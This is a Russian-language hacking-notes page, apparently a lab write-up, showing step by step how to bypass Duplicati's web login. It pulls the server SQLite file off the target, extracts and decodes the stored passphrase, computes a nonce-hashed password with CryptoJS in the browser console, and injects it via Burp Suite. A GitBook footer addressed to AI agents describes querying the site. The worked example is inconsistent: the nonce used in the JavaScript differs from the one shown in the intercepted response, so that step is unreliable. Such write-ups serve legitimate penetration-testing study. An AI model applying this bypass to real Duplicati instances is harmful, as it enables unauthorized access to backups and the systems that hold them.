> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md).

# Duplicati — обход аутентификации входа

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Во время анализа цели,  **Duplicati** веб-портал обнаружен. Портал содержит панель аутентификации, требующую пароль.

<figure><img src="/files/5a8e68d0075e5d98e568e1cf0443c9b1d534d7eb" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati — это клиент резервного копирования, который хранит зашифрованные, инкрементальные, сжатые резервные копии локальных файлов у облачных провайдеров хранения или на файловых серверах.
{% endhint %}

Системное перечисление находит каталог конфигурации Duplicati по пути `/opt/duplicati`. Файл SQLite `Duplicati-server.sqlite` может содержать конфиденциальную информацию.

<figure><img src="/files/1ebb6fc5c113573a16715df197602f8e59898da6" alt=""><figcaption></figcaption></figure>

#### Загрузка файла SQLite

Чтобы проанализировать файл, загрузите его на машину атакующего с помощью Python HTTP-сервера:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/8f147206faa69b466ab2e55c6069d0faa9882545" alt=""><figcaption></figcaption></figure>

#### Анализ файла SQLite

Откройте файл с помощью `sqlite3` чтобы просмотреть его содержимое:

```bash
sqlite3 Duplicati-server.sqlite
```

Перечислите таблицы и выберите `таблицу` для извлечения данных:

```sql
.tables
select * from option;
```

<figure><img src="/files/cd637cd349b27a91516396a6e1ceea3e5936f222" alt=""><figcaption></figcaption></figure>

| Ключ                              | Значение                                       |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Преобразование парольной фразы

У `server-passphrase` значение закодировано в Base64. Декодируйте его и преобразуйте в шестнадцатеричный вид с помощью:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/0461bde659f3027f586e103f6326e9c2872b7b08" alt=""><figcaption></figcaption></figure>

#### Это дает следующее шестнадцатеричное значение:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Итоговый расчет пароля

Чтобы сгенерировать итоговый пароль, выполните следующие шаги в консоли браузера:

**Определите солёную парольную фразу:**

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Перехват запроса с помощью Burp Suite

Перехватите запрос в Burp Suite, выберите `Перехватить > Ответ на этот запрос`, затем нажмите `Переслать`.

<figure><img src="/files/cf8b330904c7cdc24a5a31325ad7e81819c28f79" alt=""><figcaption></figcaption></figure>

Перехваченный HTTP-запрос с помощью **Burp Suite** Burp Suite показывает следующие значения:

<figure><img src="/files/fa641c5abdce0d32682fae52ecc9533a69a0fbb9" alt=""><figcaption></figcaption></figure>

```json
{
  "Статус": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

У `Соль` поле совпадает с `server-passphrase-salt` значением, извлеченным из базы данных.

**Вычислите пароль nonce:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Выведите результат:**

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/b818ddd22f574fb9ab7df883fd58eba63c8a38b1" alt=""><figcaption></figcaption></figure>

Сгенерированный пароль (`noncedpwd`) равен:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Инъекция пароля и эксплуатация

1. Вставьте вычисленный пароль.
2. Используйте **Ctrl + U** чтобы URL-кодировать его.

<figure><img src="/files/d1cb8634a5f2dbbd791b221a169b3e6f3118793f" alt=""><figcaption></figcaption></figure>

3. Нажмите **Переслать** снова, чтобы завершить эксплуатацию.

<figure><img src="/files/25a2da9dc1c6b001a10824e97547667340942424" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
